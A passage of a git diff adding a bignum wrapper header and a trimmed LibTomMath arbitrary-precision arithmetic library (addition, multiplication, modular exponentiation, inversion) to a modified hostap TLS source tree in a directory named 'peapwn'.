bignum_init() + * @c: Bignum from bignum_init(); modulus + * @d: Bignum from bignum_init(); used to store the result of a * b (mod c) + * Returns: 0 on success, -1 on failure + */ +int bignum_mulmod(const struct bignum *a, const struct bignum *b, + const struct bignum *c, struct bignum *d) +{ + if (mp_mulmod((mp_int *) a, (mp_int *) b, (mp_int *) c, (mp_int *) d) + != MP_OKAY) { + wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); + return -1; + } + return 0; +} + + +/** + * bignum_exptmod - Modular exponentiation: d = a^b (mod c) + * @a: Bignum from bignum_init(); base + * @b: Bignum from bignum_init(); exponent + * @c: Bignum from bignum_init(); modulus + * @d: Bignum from bignum_init(); used to store the result of a^b (mod c) + * Returns: 0 on success, -1 on failure + */ +int bignum_exptmod(const struct bignum *a, const struct bignum *b, + const struct bignum *c, struct bignum *d) +{ + if (mp_exptmod((mp_int *) a, (mp_int *) b, (mp_int *) c, (mp_int *) d) + != MP_OKAY) { + wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); + return -1; + } + return 0; +} diff --git a/peapwn/mods/hostap/src/tls/bignum.h b/peapwn/mods/hostap/src/tls/bignum.h new file mode 100644 index 000000000..24acdce59 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/bignum.h @@ -0,0 +1,32 @@ +/* + * Big number math + * Copyright (c) 2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef BIGNUM_H +#define BIGNUM_H + +struct bignum; + +struct bignum * bignum_init(void); +void bignum_deinit(struct bignum *n); +size_t bignum_get_unsigned_bin_len(struct bignum *n); +int bignum_get_unsigned_bin(const struct bignum *n, u8 *buf, size_t *len); +int bignum_set_unsigned_bin(struct bignum *n, const u8 *buf, size_t len); +int bignum_cmp(const struct bignum *a, const struct bignum *b); +int bignum_cmp_d(const struct bignum *a, unsigned long b); +int bignum_add(const struct bignum *a, const struct bignum *b, + struct bignum *c); +int bignum_sub(const struct bignum *a, const struct bignum *b, + struct bignum *c); +int bignum_mul(const struct bignum *a, const struct bignum *b, + struct bignum *c); +int bignum_mulmod(const struct bignum *a, const struct bignum *b, + const struct bignum *c, struct bignum *d); +int bignum_exptmod(const struct bignum *a, const struct bignum *b, + const struct bignum *c, struct bignum *d); + +#endif /* BIGNUM_H */ diff --git a/peapwn/mods/hostap/src/tls/libtommath.c b/peapwn/mods/hostap/src/tls/libtommath.c new file mode 100644 index 000000000..3fb8fbed2 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/libtommath.c @@ -0,0 +1,3401 @@ +/* + * Minimal code for RSA support from LibTomMath 0.41 + * http://libtom.org/ + * http://libtom.org/files/ltm-0.41.tar.bz2 + * This library was released in public domain by Tom St Denis. + * + * The combination in this file may not use all of the optimized algorithms + * from LibTomMath and may be considerable slower than the LibTomMath with its + * default settings. The main purpose of having this version here is to make it + * easier to build bignum.c wrapper without having to install and build an + * external library. + * + * If CONFIG_INTERNAL_LIBTOMMATH is defined, bignum.c includes this + * libtommath.c file instead of using the external LibTomMath library. + */ + +#ifndef CHAR_BIT +#define CHAR_BIT 8 +#endif + +#define BN_MP_INVMOD_C +#define BN_S_MP_EXPTMOD_C /* Note: #undef in tommath_superclass.h; this would + * require BN_MP_EXPTMOD_FAST_C instead */ +#define BN_S_MP_MUL_DIGS_C +#define BN_MP_INVMOD_SLOW_C +#define BN_S_MP_SQR_C +#define BN_S_MP_MUL_HIGH_DIGS_C /* Note: #undef in tommath_superclass.h; this + * would require other than mp_reduce */ + +#ifdef LTM_FAST + +/* Use faster div at the cost of about 1 kB */ +#define BN_MP_MUL_D_C + +/* Include faster exptmod (Montgomery) at the cost of about 2.5 kB in code */ +#define BN_MP_EXPTMOD_FAST_C +#define BN_MP_MONTGOMERY_SETUP_C +#define BN_FAST_MP_MONTGOMERY_REDUCE_C +#define BN_MP_MONTGOMERY_CALC_NORMALIZATION_C +#define BN_MP_MUL_2_C + +/* Include faster sqr at the cost of about 0.5 kB in code */ +#define BN_FAST_S_MP_SQR_C + +/* About 0.25 kB of code, but ~1.7kB of stack space! */ +#define BN_FAST_S_MP_MUL_DIGS_C + +#else /* LTM_FAST */ + +#define BN_MP_DIV_SMALL +#define BN_MP_INIT_MULTI_C +#define BN_MP_CLEAR_MULTI_C +#define BN_MP_ABS_C +#endif /* LTM_FAST */ + +/* Current uses do not require support for negative exponent in exptmod, so we + * can save about 1.5 kB in leaving out invmod. */ +#define LTM_NO_NEG_EXP + +/* from tommath.h */ + +#ifndef MIN + #define MIN(x,y) ((x)<(y)?(x):(y)) +#endif + +#ifndef MAX + #define MAX(x,y) ((x)>(y)?(x):(y)) +#endif + +#define OPT_CAST(x) + +#ifdef __x86_64__ +typedef unsigned long mp_digit; +typedef unsigned long mp_word __attribute__((mode(TI))); + +#define DIGIT_BIT 60 +#define MP_64BIT +#else +typedef unsigned long mp_digit; +typedef u64 mp_word; + +#define DIGIT_BIT 28 +#define MP_28BIT +#endif + + +#define XMALLOC os_malloc +#define XFREE os_free +#define XREALLOC os_realloc + + +#define MP_MASK ((((mp_digit)1)<<((mp_digit)DIGIT_BIT))-((mp_digit)1)) + +#define MP_LT -1 /* less than */ +#define MP_EQ 0 /* equal to */ +#define MP_GT 1 /* greater than */ + +#define MP_ZPOS 0 /* positive integer */ +#define MP_NEG 1 /* negative */ + +#define MP_OKAY 0 /* ok result */ +#define MP_MEM -2 /* out of mem */ +#define MP_VAL -3 /* invalid input */ + +#define MP_YES 1 /* yes response */ +#define MP_NO 0 /* no response */ + +typedef int mp_err; + +/* define this to use lower memory usage routines (exptmods mostly) */ +#define MP_LOW_MEM + +/* default precision */ +#ifndef MP_PREC + #ifndef MP_LOW_MEM + #define MP_PREC 32 /* default digits of precision */ + #else + #define MP_PREC 8 /* default digits of precision */ + #endif +#endif + +/* size of comba arrays, should be at least 2 * 2**(BITS_PER_WORD - BITS_PER_DIGIT*2) */ +#define MP_WARRAY (1 << (sizeof(mp_word) * CHAR_BIT - 2 * DIGIT_BIT + 1)) + +/* the infamous mp_int structure */ +typedef struct { + int used, alloc, sign; + mp_digit *dp; +} mp_int; + + +/* ---> Basic Manipulations <--- */ +#define mp_iszero(a) (((a)->used == 0) ? MP_YES : MP_NO) +#define mp_iseven(a) (((a)->used > 0 && (((a)->dp[0] & 1) == 0)) ? MP_YES : MP_NO) +#define mp_isodd(a) (((a)->used > 0 && (((a)->dp[0] & 1) == 1)) ? MP_YES : MP_NO) + + +/* prototypes for copied functions */ +#define s_mp_mul(a, b, c) s_mp_mul_digs(a, b, c, (a)->used + (b)->used + 1) +static int s_mp_exptmod(mp_int * G, mp_int * X, mp_int * P, mp_int * Y, int redmode); +static int s_mp_mul_digs (mp_int * a, mp_int * b, mp_int * c, int digs); +static int s_mp_sqr(mp_int * a, mp_int * b); +static int s_mp_mul_high_digs(mp_int * a, mp_int * b, mp_int * c, int digs); + +#ifdef BN_FAST_S_MP_MUL_DIGS_C +static int fast_s_mp_mul_digs (mp_int * a, mp_int * b, mp_int * c, int digs); +#endif + +#ifdef BN_MP_INIT_MULTI_C +static int mp_init_multi(mp_int *mp, ...); +#endif +#ifdef BN_MP_CLEAR_MULTI_C +static void mp_clear_multi(mp_int *mp, ...); +#endif +static int mp_lshd(mp_int * a, int b); +static void mp_set(mp_int * a, mp_digit b); +static void mp_clamp(mp_int * a); +static void mp_exch(mp_int * a, mp_int * b); +static void mp_rshd(mp_int * a, int b); +static void mp_zero(mp_int * a); +static int mp_mod_2d(mp_int * a, int b, mp_int * c); +static int mp_div_2d(mp_int * a, int b, mp_int * c, mp_int * d); +static int mp_init_copy(mp_int * a, mp_int * b); +static int mp_mul_2d(mp_int * a, int b, mp_int * c); +#ifndef LTM_NO_NEG_EXP +static int mp_div_2(mp_int * a, mp_int * b); +static int mp_invmod(mp_int * a, mp_int * b, mp_int * c); +static int mp_invmod_slow(mp_int * a, mp_int * b, mp_int * c); +#endif /* LTM_NO_NEG_EXP */ +static int mp_copy(mp_int * a, mp_int * b); +static int mp_count_bits(mp_int * a); +static int mp_div(mp_int * a, mp_int * b, mp_int * c, mp_int * d); +static int mp_mod(mp_int * a, mp_int * b, mp_int * c); +static int mp_grow(mp_int * a, int size); +static int mp_cmp_mag(mp_int * a, mp_int * b); +#ifdef BN_MP_ABS_C +static int mp_abs(mp_int * a, mp_int * b); +#endif +static int mp_sqr(mp_int * a, mp_int * b); +static int mp_reduce_2k_l(mp_int *a, mp_int *n, mp_int *d); +static int mp_reduce_2k_setup_l(mp_int *a, mp_int *d); +static int mp_2expt(mp_int * a, int b); +static int mp_reduce_setup(mp_int * a, mp_int * b); +static int mp_reduce(mp_int * x, mp_int * m, mp_int * mu); +static int mp_init_size(mp_int * a, int size); +#ifdef BN_MP_EXPTMOD_FAST_C +static int mp_exptmod_fast (mp_int * G, mp_int * X, mp_int * P, mp_int * Y, int redmode); +#endif /* BN_MP_EXPTMOD_FAST_C */ +#ifdef BN_FAST_S_MP_SQR_C +static int fast_s_mp_sqr (mp_int * a, mp_int * b); +#endif /* BN_FAST_S_MP_SQR_C */ +#ifdef BN_MP_MUL_D_C +static int mp_mul_d (mp_int * a, mp_digit b, mp_int * c); +#endif /* BN_MP_MUL_D_C */ + + + +/* functions from bn_.c */ + + +/* reverse an array, used for radix code */ +static void bn_reverse (unsigned char *s, int len) +{ + int ix, iy; + unsigned char t; + + ix = 0; + iy = len - 1; + while (ix < iy) { + t = s[ix]; + s[ix] = s[iy]; + s[iy] = t; + ++ix; + --iy; + } +} + + +/* low level addition, based on HAC pp.594, Algorithm 14.7 */ +static int s_mp_add (mp_int * a, mp_int * b, mp_int * c) +{ + mp_int *x; + int olduse, res, min, max; + + /* find sizes, we let |a| <= |b| which means we have to sort + * them. "x" will point to the input with the most digits + */ + if (a->used > b->used) { + min = b->used; + max = a->used; + x = a; + } else { + min = a->used; + max = b->used; + x = b; + } + + /* init result */ + if (c->alloc < max + 1) { + if ((res = mp_grow (c, max + 1)) != MP_OKAY) { + return res; + } + } + + /* get old used digit count and set new one */ + olduse = c->used; + c->used = max + 1; + + { + register mp_digit u, *tmpa, *tmpb, *tmpc; + register int i; + + /* alias for digit pointers */ + + /* first input */ + tmpa = a->dp; + + /* second input */ + tmpb = b->dp; + + /* destination */ + tmpc = c->dp; + + /* zero the carry */ + u = 0; + for (i = 0; i < min; i++) { + /* Compute the sum at one digit, T[i] = A[i] + B[i] + U */ + *tmpc = *tmpa++ + *tmpb++ + u; + + /* U = carry bit of T[i] */ + u = *tmpc >> ((mp_digit)DIGIT_BIT); + + /* take away carry bit from T[i] */ + *tmpc++ &= MP_MASK; + } + + /* now copy higher words if any, that is in A+B + * if A or B has more digits add those in + */ + if (min != max) { + for (; i < max; i++) { + /* T[i] = X[i] + U */ + *tmpc = x->dp[i] + u; + + /* U = carry bit of T[i] */ + u = *tmpc >> ((mp_digit)DIGIT_BIT); + + /* take away carry bit from T[i] */ + *tmpc++ &= MP_MASK; + } + } + + /* add carry */ + *tmpc++ = u; + + /* clear digits above oldused */ + for (i = c->used; i < olduse; i++) { + *tmpc++ = 0; + } + } + + mp_clamp (c); + return MP_OKAY; +} + + +/* low level subtraction (assumes |a| > |b|), HAC pp.595 Algorithm 14.9 */ +static int s_mp_sub (mp_int * a, mp_int * b, mp_int * c) +{ + int olduse, res, min, max; + + /* find sizes */ + min = b->used; + max = a->used; + + /* init result */ + if (c->alloc < max) { + if ((res = mp_grow (c, max)) != MP_OKAY) { + return res; + } + } + olduse = c->used; + c->used = max; + + { + register mp_digit u, *tmpa, *tmpb, *tmpc; + register int i; + + /* alias for digit pointers */ + tmpa = a->dp; + tmpb = b->dp; + tmpc = c->dp; + + /* set carry to zero */ + u = 0; + for (i = 0; i < min; i++) { + /* T[i] = A[i] - B[i] - U */ + *tmpc = *tmpa++ - *tmpb++ - u; + + /* U = carry bit of T[i] + * Note this saves performing an AND operation since + * if a carry does occur it will propagate all the way to the + * MSB. As a result a single shift is enough to get the carry + */ + u = *tmpc >> ((mp_digit)(CHAR_BIT * sizeof (mp_digit) - 1)); + + /* Clear carry from T[i] */ + *tmpc++ &= MP_MASK; + } + + /* now copy higher words if any, e.g. if A has more digits than B */ + for (; i < max; i++) { + /* T[i] = A[i] - U */ + *tmpc = *tmpa++ - u; + + /* U = carry bit of T[i] */ + u = *tmpc >> ((mp_digit)(CHAR_BIT * sizeof (mp_digit) - 1)); + + /* Clear carry from T[i] */ + *tmpc++ &= MP_MASK; + } + + /* clear digits above used (since we may not have grown result above) */ + for (i = c->used; i < olduse; i++) { + *tmpc++ = 0; + } + } + + mp_clamp (c); + return MP_OKAY; +} + + +/* init a new mp_int */ +static int mp_init (mp_int * a) +{ + int i; + + /* allocate memory required and clear it */ + a->dp = OPT_CAST(mp_digit) XMALLOC (sizeof (mp_digit) * MP_PREC); + if (a->dp == NULL) { + return MP_MEM; + } + + /* set the digits to zero */ + for (i = 0; i < MP_PREC; i++) { + a->dp[i] = 0; + } + + /* set the used to zero, allocated digits to the default precision + * and sign to positive */ + a->used = 0; + a->alloc = MP_PREC; + a->sign = MP_ZPOS; + + return MP_OKAY; +} + + +/* clear one (frees) */ +static void mp_clear (mp_int * a) +{ + int i; + + /* only do anything if a hasn't been freed previously */ + if (a->dp != NULL) { + /* first zero the digits */ + for (i = 0; i < a->used; i++) { + a->dp[i] = 0; + } + + /* free ram */ + XFREE(a->dp); + + /* reset members to make debugging easier */ + a->dp = NULL; + a->alloc = a->used = 0; + a->sign = MP_ZPOS; + } +} + + +/* high level addition (handles signs) */ +static int mp_add (mp_int * a, mp_int * b, mp_int * c) +{ + int sa, sb, res; + + /* get sign of both inputs */ + sa = a->sign; + sb = b->sign; + + /* handle two cases, not four */ + if (sa == sb) { + /* both positive or both negative */ + /* add their magnitudes, copy the sign */ + c->sign = sa; + res = s_mp_add (a, b, c); + } else { + /* one positive, the other negative */ + /* subtract the one with the greater magnitude from */ + /* the one of the lesser magnitude. The result gets */ + /* the sign of the one with the greater magnitude. */ + if (mp_cmp_mag (a, b) == MP_LT) { + c->sign = sb; + res = s_mp_sub (b, a, c); + } else { + c->sign = sa; + res = s_mp_sub (a, b, c); + } + } + return res; +} + + +/* high level subtraction (handles signs) */ +static int mp_sub (mp_int * a, mp_int * b, mp_int * c) +{ + int sa, sb, res; + + sa = a->sign; + sb = b->sign; + + if (sa != sb) { + /* subtract a negative from a positive, OR */ + /* subtract a positive from a negative. */ + /* In either case, ADD their magnitudes, */ + /* and use the sign of the first number. */ + c->sign = sa; + res = s_mp_add (a, b, c); + } else { + /* subtract a positive from a positive, OR */ + /* subtract a negative from a negative. */ + /* First, take the difference between their */ + /* magnitudes, then... */ + if (mp_cmp_mag (a, b) != MP_LT) { + /* Copy the sign from the first */ + c->sign = sa; + /* The first has a larger or equal magnitude */ + res = s_mp_sub (a, b, c); + } else { + /* The result has the *opposite* sign from */ + /* the first number. */ + c->sign = (sa == MP_ZPOS) ? MP_NEG : MP_ZPOS; + /* The second has a larger magnitude */ + res = s_mp_sub (b, a, c); + } + } + return res; +} + + +/* high level multiplication (handles sign) */ +static int mp_mul (mp_int * a, mp_int * b, mp_int * c) +{ + int res, neg; + neg = (a->sign == b->sign) ? MP_ZPOS : MP_NEG; + + /* use Toom-Cook? */ +#ifdef BN_MP_TOOM_MUL_C + if (MIN (a->used, b->used) >= TOOM_MUL_CUTOFF) { + res = mp_toom_mul(a, b, c); + } else +#endif +#ifdef BN_MP_KARATSUBA_MUL_C + /* use Karatsuba? */ + if (MIN (a->used, b->used) >= KARATSUBA_MUL_CUTOFF) { + res = mp_karatsuba_mul (a, b, c); + } else +#endif + { + /* can we use the fast multiplier? + * + * The fast multiplier can be used if the output will + * have less than MP_WARRAY digits and the number of + * digits won't affect carry propagation + */ +#ifdef BN_FAST_S_MP_MUL_DIGS_C + int digs = a->used + b->used + 1; + + if ((digs < MP_WARRAY) && + MIN(a->used, b->used) <= + (1 << ((CHAR_BIT * sizeof (mp_word)) - (2 * DIGIT_BIT)))) { + res = fast_s_mp_mul_digs (a, b, c, digs); + } else +#endif +#ifdef BN_S_MP_MUL_DIGS_C + res = s_mp_mul (a, b, c); /* uses s_mp_mul_digs */ +#else +#error mp_mul could fail + res = MP_VAL; +#endif + + } + c->sign = (c->used > 0) ? neg : MP_ZPOS; + return res; +} + + +/* d = a * b (mod c) */ +static int mp_mulmod (mp_int * a, mp_int * b, mp_int * c, mp_int * d) +{ + int res; + mp_int t; + + if ((res = mp_init (&t)) != MP_OKAY) { + return res; + } + + if ((res = mp_mul (a, b, &t)) != MP_OKAY) { + mp_clear (&t); + return res; + } + res = mp_mod (&t, c, d); + mp_clear (&t); + return res; +} + + +/* c = a mod b, 0 <= c < b */ +static int mp_mod (mp_int * a, mp_int * b, mp_int * c) +{ + mp_int t; + int res; + + if ((res = mp_init (&t)) != MP_OKAY) { + return res; + } + + if ((res = mp_div (a, b, NULL, &t)) != MP_OKAY) { + mp_clear (&t); + return res; + } + + if (t.sign != b->sign) { + res = mp_add (b, &t, c); + } else { + res = MP_OKAY; + mp_exch (&t, c); + } + + mp_clear (&t); + return res; +} + + +/* this is a shell function that calls either the normal or Montgomery + * exptmod functions. Originally the call to the montgomery code was + * embedded in the normal function but that wasted a lot of stack space + * for nothing (since 99% of the time the Montgomery code would be called) + */ +static int mp_exptmod (mp_int * G, mp_int * X, mp_int * P, mp_int * Y) +{ + int dr; + + /* modulus P must be positive */ + if (P->sign == MP_NEG) { + return MP_VAL; + } + + /* if exponent X is negative we have to recurse */ + if (X->sign == MP_NEG) { +#ifdef LTM_NO_NEG_EXP + return MP_VAL; +#else /* LTM_NO_NEG_EXP */ +#ifdef BN_MP_INVMOD_C + mp_int tmpG, tmpX; + int err; + + /* first compute 1/G mod P */ + if ((err = mp_init(&tmpG)) != MP_OKAY) { + return err; + } + if ((err = mp_invmod(G, P, &tmpG)) != MP_OKAY) { + mp_clear(&tmpG); + return err; + } + + /* now get |X| */ + if ((err = mp_init(&tmpX)) != MP_OKAY) { + mp_clear(&tmpG); + return err; + } + if ((err = mp_abs(X, &tmpX)) != MP_OKAY) { + mp_clear_multi(&tmpG, &tmpX, NULL); + return err; + } + + /* and now compute (1/G)**|X| instead of G**X [X < 0] */ + err = mp_exptmod(&tmpG, &tmpX, P, Y); + mp_clear_multi(&tmpG, &tmpX, NULL); + return err; +#else +#error mp_exptmod would always fail + /* no invmod */ + return MP_VAL; +#endif +#endif /* LTM_NO_NEG_EXP */ + } + +/* modified diminished radix reduction */ +#if defined(BN_MP_REDUCE_IS_2K_L_C) && defined(BN_MP_REDUCE_2K_L_C) && defined(BN_S_MP_EXPTMOD_C) + if (mp_reduce_is_2k_l(P) == MP_YES) { + return s_mp_exptmod(G, X, P, Y, 1); + } +#endif + +#ifdef BN_MP_DR_IS_MODULUS_C + /* is it a DR modulus? */ + dr = mp_dr_is_modulus(P); +#else + /* default to no */ + dr = 0; +#endif + +#ifdef BN_MP_REDUCE_IS_2K_C + /* if not, is it a unrestricted DR modulus? */ + if (dr == 0) { + dr = mp_reduce_is_2k(P) << 1; + } +#endif + + /* if the modulus is odd or dr != 0 use the montgomery method */ +#ifdef BN_MP_EXPTMOD_FAST_C + if (mp_isodd (P) == 1 || dr != 0) { + return mp_exptmod_fast (G, X, P, Y, dr); + } else { +#endif +#ifdef BN_S_MP_EXPTMOD_C + /* otherwise use the generic Barrett reduction technique */ + return s_mp_exptmod (G, X, P, Y, 0); +#else +#error mp_exptmod could fail + /* no exptmod for evens */ + return MP_VAL; +#endif +#ifdef BN_MP_EXPTMOD_FAST_C + } +#endif + if (dr == 0) { + /* avoid compiler warnings about possibly unused variable */ + } +} + + +/* compare two ints (signed)*/ +static int mp_cmp (mp_int * a, mp_int * b) +{ + /* compare based on sign */ + if (a->sign != b->sign) { + if (a->sign == MP_NEG) { + return MP_LT; + } else { + return MP_GT; + } + } + + /* compare digits */ + if (a->sign == MP_NEG) { + /* if negative compare opposite direction */ + return mp_cmp_mag(b, a); + } else { + return mp_cmp_mag(a, b); + } +} + + +/* compare a digit */ +static int mp_cmp_d(mp_int * a, mp_digit b) +{ + /* compare based on sign */ + if (a->sign == MP_NEG) { + return MP_LT; + } + + /* compare based on magnitude */ + if (a->used > 1) { + return MP_GT; + } + + /* compare the only digit of a to b */ + if (a->dp[0] > b) { + return MP_GT; + } else if (a->dp[0] < b) { + return MP_LT; + } else { + return MP_EQ; + } +} + + +#ifndef LTM_NO_NEG_EXP +/* hac 14.61, pp608 */ +static int mp_invmod (mp_int * a, mp_int * b, mp_int * c) +{ + /* b cannot be negative */ + if (b->sign == MP_NEG || mp_iszero(b) == 1) { + return MP_VAL; + } + +#ifdef BN_FAST_MP_INVMOD_C + /* if the modulus is odd we can use a faster routine instead */ + if (mp_isodd (b) == 1) { + return fast_mp_invmod (a, b, c); + } +#endif + +#ifdef BN_MP_INVMOD_SLOW_C + return mp_invmod_slow(a, b, c); +#endif + +#ifndef BN_FAST_MP_INVMOD_C +#ifndef BN_MP_INVMOD_SLOW_C +#error mp_invmod would always fail +#endif +#endif + return MP_VAL; +} +#endif /* LTM_NO_NEG_EXP */ + + +/* get the size for an unsigned equivalent */ +static int mp_unsigned_bin_size (mp_int * a) +{ + int size = mp_count_bits (a); + return (size / 8 + ((size & 7) != 0 ? 1 : 0)); +} + + +#ifndef LTM_NO_NEG_EXP +/* hac 14.61, pp608 */ +static int mp_invmod_slow (mp_int * a, mp_int * b, mp_int * c) +{ + mp_int x, y, u, v, A, B, C, D; + int res; + + /* b cannot be negative */ + if (b->sign == MP_NEG || mp_iszero(b) == 1) { + return MP_VAL; + } + + /* init temps */ + if ((res = mp_init_multi(&x, &y, &u, &v, + &A, &B, &C, &D, NULL)) != MP_OKAY) { + return res; + } + + /* x = a, y = b */ + if ((res = mp_mod(a, b, &x)) != MP_OKAY) { + goto LBL_ERR; + } + if ((res = mp_copy (b, &y)) != MP_OKAY) { + goto LBL_ERR; + } + + /* 2. [modified] if x,y are both even then return an error! */ + if (mp_iseven (&x) == 1 && mp_iseven (&y) == 1) { + res = MP_VAL; + goto LBL_ERR; + } + + /* 3. u=x, v=y, A=1, B=0, C=0,D=1 */ + if ((res = mp_copy (&x, &u)) != MP_OKAY) { + goto LBL_ERR; + } + if ((res = mp_copy (&y, &v)) != MP_OKAY) { + goto LBL_ERR; + } + mp_set (&A, 1); + mp_set (&D, 1); + +top: + /* 4. while u is even do */ + while (mp_iseven (&u) == 1) { + /* 4.1 u = u/2 */ + if ((res = mp_div_2 (&u, &u)) != MP_OKAY) { + goto LBL_ERR; + } + /* 4.2 if A or B is odd then */ + if (mp_isodd (&A) == 1 || mp_isodd (&B) == 1) { + /* A = (A+y)/2, B = (B-x)/2 */ + if ((res = mp_add (&A, &y, &A)) != MP_OKAY) { + goto LBL_ERR; + } + if ((res = mp_sub (&B, &x, &B)) != MP_OKAY) { + goto LBL_ERR; + } + } + /* A = A/2, B = B/2 */ + if ((res = mp_div_2 (&A, &A)) != MP_OKAY) { + goto LBL_ERR; + } + if ((res = mp_div_2 (&B, &B)) != MP_OKAY) { + goto LBL_ERR; + } + } + + /* 5. while v is even do */ + while (mp_iseven (&v) == 1) { + /* 5.1 v = v/2 */ + if ((res = mp_div_2 (&v, &v)) != MP_OKAY) { + goto LBL_ERR; + } + /* 5.2 if C or D is odd then */ + if (mp_isodd (&C) == 1 || mp_isodd (&D) == 1) { + /* C = (C+y)/2, D = (D-x)/2 */ + if ((res = mp_add (&C, &y, &C)) != MP_OKAY) { + goto LBL_ERR; + } + if ((res = mp_sub (&D, &x, &D)) != MP_OKAY) { + goto LBL_ERR; + } + } + /* C = C/2, D = D/2 */ + if ((res = mp_div_2 (&C, &C)) != MP_OKAY) { + goto LBL_ERR; + } + if ((res = mp_div_2 (&D, &D)) != MP_OKAY) { + goto LBL_ERR; + } + } + + /* 6. if u >= v then */ + if (mp_cmp (&u, &v) != MP_LT) { + /* u = u - v, A = A - C, B = B - D */ + if ((res = mp_sub (&u, &v, &u)) != MP_OKAY) { + goto LBL_ERR; + } + + if ((res = mp_sub (&A, &C, &A)) != MP_OKAY) { + goto LBL_ERR; + } + + if ((res = mp_sub (&B, &D, &B)) != MP_OKAY) { + goto LBL_ERR; + } + } else { + /* v - v - u, C = C - A, D = D - B */ + if ((res = mp_sub (&v, &u, &v)) != MP_OKAY) { + goto LBL_ERR; + } + + if ((res = mp_sub (&C, &A, &C)) != MP_OKAY) { + goto LBL_ERR; + } + + if ((res = mp_sub (&D, &B, &D)) != MP_OKAY) { + goto LBL_ERR; + } + } + + /* if not zero goto step 4 */ + if (mp_iszero (&u) == 0) + goto top; + + /* now a = C, b = D, gcd == g*v */ + + /* if v != 1 then there is no inverse */ + if (mp_cmp_d (&v, 1) != MP_EQ) { + res = MP_VAL; + goto LBL_ERR; + } + + /* if its too low */ + while (mp_cmp_d(&C, 0) == MP_LT) { + if ((res = mp_add(&C, b, &C)) != MP_OKAY) { + goto LBL_ERR; + } + } + + /* too big */ + while (mp_cmp_mag(&C, b) != MP_LT) { + if ((res = mp_sub(&C, b, &C)) != MP_OKAY) { + goto LBL_ERR; + } + } + + /* C is now the inverse */ + mp_exch (&C, c); + res = MP_OKAY; +LBL_ERR:mp_clear_multi (&x, &y, &u, &v, &A, &B, &C, &D, NULL); + return res; +} +#endif /* LTM_NO_NEG_EXP */ + + +/* compare maginitude of two ints (unsigned) */ +static int mp_cmp_mag (mp_int * a, mp_int * b) +{ + int n; + mp_digit *tmpa, *tmpb; + + /* compare based on # of non-zero digits */ + if (a->used > b->used) { + return MP_GT; + } + + if (a->used < b->used) { + return MP_LT; + } + + /* alias for a */ + tmpa = a->dp + (a->used - 1); + + /* alias for b */ + tmpb = b->dp + (a->used - 1); + + /* compare based on digits */ + for (n = 0; n < a->used; ++n, --tmpa, --tmpb) { + if (*tmpa > *tmpb) { + return MP_GT; + } + + if (*tmpa < *tmpb) { + return MP_LT; + } + } + return MP_EQ; +} + + +/* reads a unsigned char array, assumes the msb is stored first [big endian] */ +static int mp_read_unsigned_bin (mp_int * a, const unsigned char *b, int c) +{ + int res; + + /* make sure there are at least two digits */ + if (a->alloc < 2) { + if ((res = mp_grow(a, 2)) != MP_OKAY) { + return res; + } + } + + /* zero the int */ + mp_zero (a); + + /* read the bytes in */ + while (c-- > 0) { + if ((res = mp_mul_2d (a, 8, a)) != MP_OKAY) { + return res; + } + +#ifndef MP_8BIT + a->dp[0] |= *b++; + a->used += 1; +#else + a->dp[0] = (*b & MP_MASK); + a->dp[1] |= ((*b++ >> 7U) & 1); + a->used += 2; +#endif + } + mp_clamp (a); + return MP_OKAY; +} + + +/* store in unsigned [big endian] format */ +static int mp_to_unsigned_bin (mp_int * a, unsigned char *b) +{ + int x, res; + mp_int t; + + if ((res = mp_init_copy (&t, a)) != MP_OKAY) { + return res; + } + + x = 0; + while (mp_iszero (&t) == 0) { +#ifndef MP_8BIT + b[x++] = (unsigned char) (t.dp[0] & 255); +#else + b[x++] = (unsigned char) (t.dp[0] | ((t.dp[1] & 0x01) << 7)); +#endif + if ((res = mp_div_2d (&t, 8, &t, NULL)) != MP_OKAY) { + mp_clear (&t); + return res; + } + } + bn_reverse (b, x); + mp_clear (&t); + return MP_OKAY; +} + + +/* shift right by a certain bit count (store quotient in c, optional remainder in d) */ +static int mp_div_2d (mp_int * a, int b, mp_int * c, mp_int * d) +{ + mp_digit D, r, rr; + int x, res; + mp_int t; + + + /* if the shift count is <= 0 then we do no work */ + if (b <= 0) { + res = mp_copy (a, c); + if (d != NULL) { + mp_zero (d); + } + return res; + } + + if ((res = mp_init (&t)) != MP_OKAY) { + return res; + } + + /* get the remainder */ + if (d != NULL) { + if ((res = mp_mod_2d (a, b, &t)) != MP_OKAY) { + mp_clear (&t); + return res; + } + } + + /* copy */ + if ((res = mp_copy (a, c)) != MP_OKAY) { + mp_clear (&t); + return res; + } + + /* shift by as many digits in the bit count */ + if (b >= (int)DIGIT_BIT) { + mp_rshd (c, b / DIGIT_BIT); + } + + /* shift any bit count < DIGIT_BIT */ + D = (mp_digit) (b % DIGIT_BIT); + if (D != 0) { + register mp_digit *tmpc, mask, shift; + + /* mask */ + mask = (((mp_digit)1) << D) - 1; + + /* shift for lsb */ + shift = DIGIT_BIT - D; + + /* alias */ + tmpc = c->dp + (c->used - 1); + + /* carry */ + r = 0; + for (x = c->used - 1; x >= 0; x--) { + /* get the lower bits of this word in a temp */ + rr = *tmpc & mask; + + /* shift the current word and mix in the carry bits from the previous word */ + *tmpc = (*tmpc >> D) | (r << shift); + --tmpc; + + /* set the carry to the carry bits of the current word found above */ + r = rr; + } + } + mp_clamp (c); + if (d != NULL) { + mp_exch (&t, d); + } + mp_clear (&t); + return MP_OKAY; +} + + +static int mp_init_copy (mp_int * a, mp_int * b) +{ + int res; + + if ((res = mp_init (a)) != MP_OKAY) { + return res; + } + return mp_copy (b, a); +} + + +/* set to zero */ +static void mp_zero (mp_int * a) +{ + int n; + mp_digit *tmp; + + a->sign = MP_ZPOS; + a->used = 0; + + tmp = a->dp; + for (n = 0; n < a->alloc; n++) { + *tmp++ = 0; + } +} + + +/* copy, b = a */ +static int mp_copy (mp_int * a, mp_int * b) +{ + int res, n; + + /* if dst == src do nothing */ + if (a == b) { + return MP_OKAY; + } + + /* grow dest */ + if (b->alloc < a->used) { + if ((res = mp_grow (b, a->used)) != MP_OKAY) { + return res; + } + } + + /* zero b and copy the parameters over */ + { + register mp_digit *tmpa, *tmpb; + + /* pointer aliases */ + + /* source */ + tmpa = a->dp; + + /* destination */ + tmpb = b->dp; + + /* copy all the digits */ + for (n = 0; n < a->used; n++) { + *tmpb++ = *tmpa++; + } + + /* clear high digits */ + for (; n < b->used; 